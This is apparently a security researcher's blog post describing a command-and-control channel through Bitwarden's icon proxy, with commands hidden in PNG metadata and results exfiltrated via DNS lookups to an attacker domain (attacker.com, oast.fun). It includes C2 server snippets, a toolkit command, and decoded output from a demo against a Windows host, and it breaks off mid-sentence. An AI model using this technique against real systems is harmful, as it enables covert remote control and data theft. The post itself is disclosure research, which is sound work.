Bitwarden C2
" type="image/svg+xml">
Toggle theme
Menu
John Carroll
OffSec
Bitwarden C2
A full command-and-control channel through icons.bitwarden.net - commands in via PNG metadator polygots, results out via DNS - all traffic to a trusted domain on Azure. 2nd order sneaks.
24 June 2026<br>9 min read<br>John Carroll
Visualize the journey, is there anything else out there you can C2 ?<br>I built a bidirectional C2 channel through Bitwarden's icon proxy. Commands go in via PNG metadata, results come out via DNS, and every byte of traffic goes to icons.bitwarden.net — a legitimate domain on Azure. The agent never touches the attacker's infrastructure directly.
This is a data-bouncing application and a textbook confused deputy (CWE-441).
What's happening
Bitwarden fetches website favicons to display next to vault entries. The icon proxy at icons.bitwarden.net takes a full hostname — subdomains and all — and proxies the request without stripping or validating any of it.
// libs/common/src/vault/icon/build-cipher-icon.ts:78<br>image = `${iconsServerUrl}/${Utils.getHostname(hostnameUri)}/icon.png`;
That gives you two channels:
Commands in — my server embeds JSON commands in PNG tEXt metadata chunks. The icon proxy fetches the PNG and passes it through byte-identical, metadata intact. The agent fetches from icons.bitwarden.net, never touching my server.
Data out — results get hex-encoded into DNS subdomain labels. When the proxy does its DNS lookup for {hex-data}.attacker.com, my authoritative DNS server receives the encoded data. The lookup comes from Bitwarden's Azure IPs, not the target.
Put them together and you've got full bidirectional C2 through trusted infrastructure. No authentication required. No Bitwarden account needed. The endpoint is public.
The moving parts
C2 server
A small HTTP server that generates valid PNGs with commands in tEXt chunks:
def make_c2_png(command: str) -> bytes:<br># ... standard PNG headers ...<br>c2_data = json.dumps({"cmd": command, "ts": int(time.time())}).encode()<br>text_chunk = make_png_chunk(b"tEXt", b"Comment\x00" + c2_data)<br>return png_sig + ihdr + text_chunk + idat + iend
Bitwarden's proxy fetches /icon.png from my server, gets a valid image. The metadata rides along.
Agent
The agent only ever talks to icons.bitwarden.net:
Agent → HTTPS → icons.bitwarden.net → proxy fetch → attacker server<br>Agent ← HTTPS ← icons.bitwarden.net ← PNG + metadata ← attacker server
It parses the tEXt chunk, extracts the command, runs it, and exfiltrates the result:
Agent → HTTPS → icons.bitwarden.net/{hex-encoded-result}.oast.fun/icon.png<br>↓ DNS lookup<br>oast.fun authoritative DNS gets the encoded data<br>from Bitwarden Azure IPs (20.42.70.x, 20.115.49.x, etc.)
Cache busting
Each poll uses a unique subdomain prefix ({random}-{session}.{server}), forcing the proxy to make a fresh fetch. But here's the thing — existing command PNGs also get cached on Bitwarden's CDN for 7 days. The infrastructure serves your malware for you.
Metadata passthrough
The proxy passes PNG metadata through unmodified. I verified this with a polyglot PNG containing commands in all three text chunk types (tEXt, iTXt, zTXt). The SHA256 of the PNG fetched through the proxy matched the original byte-for-byte:
0eca960915eb7ad1c6c6c972e38cb1c734f33b51279af2859bb16dcec7c9bfab
Polyglot favicons
The endpoint serves /icon.png, but the proxy doesn't enforce image format or validate content beyond a superficial fetch. At the time of testing, a polyglot file — valid PNG and valid ICO, or valid PNG and valid JavaScript — would pass through intact. The proxy returned whatever bytes the upstream server provided.
The toolkit (icon_c2.py) demonstrates this with --mode polyglot, embedding the same payload across tEXt, iTXt, and zTXt simultaneously:
python3 icon_c2.py embed --payload '{"cmd":"whoami"}' --mode polyglot -o cmd.png --verify
Bitwarden's fix (PR #7668) (https://github.com/bitwarden/server/pull/7668) does address PNG polyglots fairly well — it reconstructs the file from allowed chunks only, breaks at IEND, and fails closed on malformed input. A PNG/JS polyglot with payload after IEND gets truncated. The metadata chunks are gone.
*not sure about jpeg/BMP
The demo
I ran this end-to-end against a Windows 11 target. Four stages:
Verify — C2 server has whoami queued in PNG metadata
Proxy — same command passes through icons.bitwarden.net intact
Execute — agent on Windows fetches from the proxy, runs the command, exfiltrates rengy\agent via DNS
Update — change command to ipconfig /all | findstr IPv4, agent picks it up, exfiltrates the target's IPv4 address
The OAST server logged 903 DNS interactions from 115 unique Azure IPs during the demo session alone. Decoded callbacks:
Tag<br>Decoded Output
beacon<br>BEACON|final|nt|agent
r-final<br>rengy\agent
r-final2<br>IPv4 Address. . . : 100.78.11.60(Preferred)
All 115 source IPs resolved to Microsoft Azure. Bitwarden's icon proxy infrastructure doing the work for me.
It doesn't...